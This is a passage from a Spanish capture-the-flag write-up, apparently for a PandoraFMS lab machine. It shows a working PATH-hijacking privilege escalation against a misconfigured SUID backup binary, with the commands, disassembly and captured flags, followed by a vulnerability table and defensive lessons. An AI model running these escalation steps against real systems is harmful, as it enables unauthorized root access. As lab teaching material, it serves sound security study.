user.txt: 803105f16a44c0d248f3615f9baf0619 (permisos -rw-r----- root:matt — por eso daniel no podía leerla). Para trabajar cómodo en la escalada (necesitamos controlar PATH y correr comandos sin re-negociar la webshell en cada uno) se instaló una clave SSH propia para matt, con el cuidado de fijar chmod 700 .ssh y chmod 600 authorized_keys — sshd rechaza en silencio una clave si los permisos son demasiado abiertos (StrictModes yes).
6. Escalada de privilegios — PATH hijacking en pandora_backup
find /usr/bin /usr/sbin /bin /sbin /usr/local -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/pandora_backup ◄── NO ESTÁNDAR
/usr/bin/passwd
/usr/bin/su
Acotar la búsqueda a los directorios habituales evita agotar el tiempo de un find / completo por SSH. Entre los SUID de siempre destaca /usr/bin/pandora_backup (-rwsr-x--- root matt: solo matt puede ejecutarlo, confirmando que el pivote daniel → matt era obligatorio). pkexec también está presente y esta Ubuntu es vulnerable a PwnKit (CVE-2021-4034) — una vía alternativa a root, descartada aquí por ser genérica y ajena al diseño de la máquina; el camino previsto es el binario propio.
strings /usr/bin/pandora_backup
setreuid
system
getuid
geteuid
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
tar se invoca sin ruta absoluta, junto a system() y setreuid(): el patrón es inconfundible. El desensamblado de main confirma el orden exacto de la llamada:
call getuid@plt ; ebx = getuid() = 1000
call geteuid@plt ; eax = geteuid() = 0
mov esi,ebx ; arg2 (euid) = 1000
mov edi,eax ; arg1 (ruid) = 0
call setreuid@plt ; setreuid(0, 1000)
...
call system@plt ; system("tar -cvf /root/.backup/... ")
El código fuente reconstruido equivale a
setreuid(geteuid(), getuid()). El programador casi con toda seguridad queríasetreuid(getuid(), geteuid())— el patrón habitual para bajar privilegios — e invirtió los argumentos. El resultado real essetreuid(0, 1000): elruidpasa a 0 (root) y eleuida 1000 (matt) — justo lo contrario de lo pretendido (CWE-273 / CWE-696).
La parte que hace funcionar el exploit:
bash, al arrancar sin-p, ejecutasetuid(getuid())para "descartar" privilegios heredados y evitar ser usado como escalada en binarios SUID. Aquí ese mecanismo se vuelve del revés —getuid()devuelve 0 (elruid, que ahora es root), ysetuid(0)coneuid != 0está permitido porque eluidpedido coincide con elruiddel proceso: el shell que nace dentro del backup queda coneuid=0. Lanzarbash -paquí sería contraproducente:-ple diría abashque NO haga esesetuid(), y el shell se quedaría eneuid=1000.
mkdir -p /tmp/.x
printf '#!/bin/bash\n/bin/bash\n' > /tmp/.x/tar
chmod 755 /tmp/.x/tar
export PATH=/tmp/.x:$PATH
echo 'id -a; cat /root/root.txt' | /usr/bin/pandora_backup
uid=0(root) gid=1000(matt) groups=1000(matt)
49cc3494e24c2d3fa18d739097723e3f
PandoraFMS Backup Utility
Backup successful!
/tmp/.x/tar, colocado al frente del PATH, gana la resolución de system("tar ...") frente a /usr/bin/tar. Como no hay TTY (los comandos van por SSH no interactivo), los comandos se canalizan por stdin hacia el bash que nace dentro del backup — reproducible sin negociar una pseudo-terminal. El gid sigue siendo matt (setreuid() no toca GIDs), pero es irrelevante: uid=0 salta cualquier permiso de fichero.
root.txt: 49cc3494e24c2d3fa18d739097723e3f. Como buena práctica final, se retiraron los artefactos plantados: la webshell, el directorio /tmp/.x y la clave SSH de matt — sin tocar los logs, que en un ejercicio autorizado son la traza que valida las capacidades de detección del cliente.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon / fuga inicial | snmpd (community public) | SNMP sin restricción de vistas expone hrSWRunParameters (argv de procesos) | Credenciales de daniel en claro (CWE-1188 / CWE-214) |
| Movimiento lateral | SSH / pandora.conf | Reutilización de credenciales + vhost ejecutado como usuario real del sistema (AssignUserID) | Acceso interactivo con radio de impacto ampliado (CWE-262 / CWE-250) |
| Explotación web | chart_generator.php → User.php | SQLi no autenticada (CVE-2021-32099) + deserialización hacia $_SESSION | Secuestro total de sesión de administrador (CWE-89 / CWE-502) |
| RCE | godmode/setup/file_manager | Subida de ficheros sin lista blanca de extensiones; MAC casero forjable | Ejecución de código como matt (user.txt) (CWE-434 / CWE-327) |
| PrivEsc | /usr/bin/pandora_backup (SUID) | system() con ruta relativa + setreuid() con argumentos invertidos | PATH hijacking a root (root.txt) (CWE-426 / CWE-273) |
Lecciones aprendidas
- El escaneo UDP (
nmap -sU) debe lanzarse en paralelo al TCP desde el minuto cero, no después de agotar la superficie TCP: aquí el vector real vivía en 161/udp y perderlo de vista costó toda la fase de fuzzing web sobre una plantilla estática. - SNMP con community por defecto convierte información que en teoría es "solo local" (
/proc/<pid>/cmdline) en una fuga remota y preautenticada víahrSWRunParameters— nunca pasar secretos como argumento de línea de comandos, y restringir siempre las vistas SNMP. - Un resultado negativo en fuzzing de vhosts no descarta que existan: un
<VirtualHost localhost:80>solo es alcanzable desde el propio servidor, y ninguna palabra de diccionario cambia eso desde fuera. AssignUserIDde Apache MPM-ITK debe apuntar siempre a una cuenta de servicio dedicada, nunca a una cuenta real del sistema con$HOMEy shell: es lo que convierte un RCE web en acceso directo a la flag de usuario.- Ante un panel de administración, el tamaño de la respuesta distingue autenticado de no autenticado mucho mejor que el código HTTP — un
200 OKcon el formulario de login es el falso positivo más común al verificar un bypass. - Un binario SUID que invoca un comando externo por nombre relativo dentro de
system()es vulnerable a PATH hijacking siempre; la única corrección sólida esexecve()con ruta absoluta y un entorno saneado, nunca una shell intermedia. - Invertir los argumentos de una llamada que reduce privilegios (
setreuid/setuid) puede convertir silenciosamente un "descartar privilegios" en una escalada — y el propio mecanismo de seguridad debash(setuid(getuid())al arrancar sin-p) es precisamente lo que lo dispara.